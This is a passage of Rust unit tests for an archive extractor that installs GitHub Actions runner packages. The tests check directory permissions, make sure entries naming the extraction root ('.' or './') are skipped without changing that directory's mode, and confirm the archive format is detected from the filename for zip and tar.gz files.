6415                zip_bytes_with_modes(&[("bin/", "", Some(0o644))]),
6416                ArchiveKind::Zip,
6417            ),
6418        ] {
6419            let archive = dir.path().join(format!("{label}.archive"));
6420            fs::write(&archive, &bytes).unwrap();
6421            let target = dir.path().join(label);
6422
6423            extract(&fs::read(&archive).unwrap(), kind, &target).expect("extraction");
6424
6425            let mode = fs::metadata(target.join("bin"))
6426                .unwrap()
6427                .permissions()
6428                .mode()
6429                & 0o7777;
6430            assert_eq!(
6431                mode, 0o700,
6432                "{label}: a directory must stay traversable (mode {mode:o})"
6433            );
6434        }
6435    }
6436
6437    #[test]
6438    fn an_entry_naming_the_extraction_root_cannot_touch_it() {
6439        // An entry called `.` or `./` resolves to the extraction directory
6440        // itself, which would hand the archive control of the mode of a
6441        // directory this module owns and created. It is not an escape — the
6442        // policy fails closed — but the archive does not get a say here.
6443        //
6444        // **Which half of this proves what.** The mode assertion below is the
6445        // one that detects the defect, and it is `#[cfg(unix)]`, so on Windows
6446        // this test only shows that a root entry is tolerated rather than
6447        // fatal. The decision itself is asserted on every leg by
6448        // `an_entry_that_names_the_extraction_root_resolves_to_nothing`, which
6449        // reds when the skip is removed. Said here so nobody reads a green
6450        // Windows run as proof of the mode property.
6451        let dir = tempfile::tempdir().expect("a temporary root");
6452        for (label, bytes, kind) in [
6453            (
6454                "tar.gz dot",
6455                tar_gz_special(".", "", 0o777, tar::EntryType::Directory, None),
6456                ArchiveKind::TarGz,
6457            ),
6458            (
6459                "tar.gz dot slash",
6460                tar_gz_special("./", "", 0o777, tar::EntryType::Directory, None),
6461                ArchiveKind::TarGz,
6462            ),
6463            (
6464                "zip dot",
6465                zip_bytes_with_modes(&[("./", "", Some(0o777))]),
6466                ArchiveKind::Zip,
6467            ),
6468        ] {
6469            let archive = dir.path().join(format!("{label}.archive"));
6470            fs::write(&archive, &bytes).unwrap();
6471            let target = dir.path().join(label);
6472            fs::create_dir_all(&target).unwrap();
6473            let marker = target.join("owned-by-this-module");
6474            fs::write(&marker, b"x").unwrap();
6475
6476            // Skipped, not refused: `tar -C dir -czf out.tgz .` emits exactly
6477            // this entry for the archive's own root, so refusing it would fail
6478            // a legitimate package. See `resolve_inside` for the reasoning.
6479            extract(&fs::read(&archive).unwrap(), kind, &target).unwrap_or_else(|error| {
6480                panic!("{label}: a root entry is skipped, not fatal: {error}")
6481            });
6482
6483            assert!(
6484                marker.is_file(),
6485                "{label}: the extraction root must be untouched"
6486            );
6487            #[cfg(unix)]
6488            {
6489                use std::os::unix::fs::PermissionsExt as _;
6490                let mode = fs::metadata(&target).unwrap().permissions().mode() & 0o7777;
6491                assert_ne!(
6492                    mode, 0o777,
6493                    "{label}: the archive must not have set the root's mode"
6494                );
6495            }
6496        }
6497    }
6498
6499    #[test]
6500    fn the_archive_format_comes_from_the_filename_not_from_the_host() {
6501        assert_eq!(
6502            ArchiveKind::split("actions-runner-win-x64-2.330.0.zip")
6503                .unwrap()
6504                .1,
6505            ArchiveKind::Zip
6506        );
6507        assert_eq!(
6508            ArchiveKind::split("actions-runner-linux-x64-2.330.0.tar.gz")
6509                .unwrap()
6510                .1,
6511            ArchiveKind::TarGz
6512        );
6513        assert_eq!(
6514            ArchiveKind::split("actions-runner-linux-x64-2.330.0.TAR.GZ")
6515                .unwrap()
6516                .1,
6517            ArchiveKind::TarGz
6518        );
6519        assert!(ArchiveKind::split("actions-runner-linux-x64-2.330.0.7z").is_err());
6520    }
6521
6522    #[tokio::test]
6523    async fn a_zip_is_extracted_on_a_host_whose_own_packages_are_tarballs() {
6524        // The format follows the filename, so this exercises the Windows
6525        // extraction path on the Linux and macOS CI legs too.
6526        let bytes = zip_bytes(&package_entries());
6527        let harness = Harness::new(
6528            vec![published(
6529                "linux",
6530                "x64",
6531                "2.330.0",
6532                ".zip",
6533                Some(&hex_digest(&bytes)),
6534            )],
6535            bytes,
6536        );
6537
6538        let installed = harness.cache().ensure_installed().await.expect("a zip");
6539
6540        assert!(installed.root().join("bin/Runner.Listener").is_file());
6541    }
6542}